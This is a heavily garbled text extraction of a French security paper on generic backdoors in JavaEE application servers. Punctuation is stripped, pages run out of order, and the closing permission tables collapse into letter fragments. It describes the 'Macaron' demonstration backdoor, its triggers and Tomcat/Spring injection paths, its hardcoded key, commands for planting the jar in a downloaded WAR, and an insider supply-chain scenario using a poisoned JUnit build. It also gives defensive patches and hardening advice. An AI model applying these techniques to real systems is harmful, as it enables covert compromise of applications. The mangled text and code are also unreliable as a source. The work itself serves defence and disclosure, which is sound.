j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
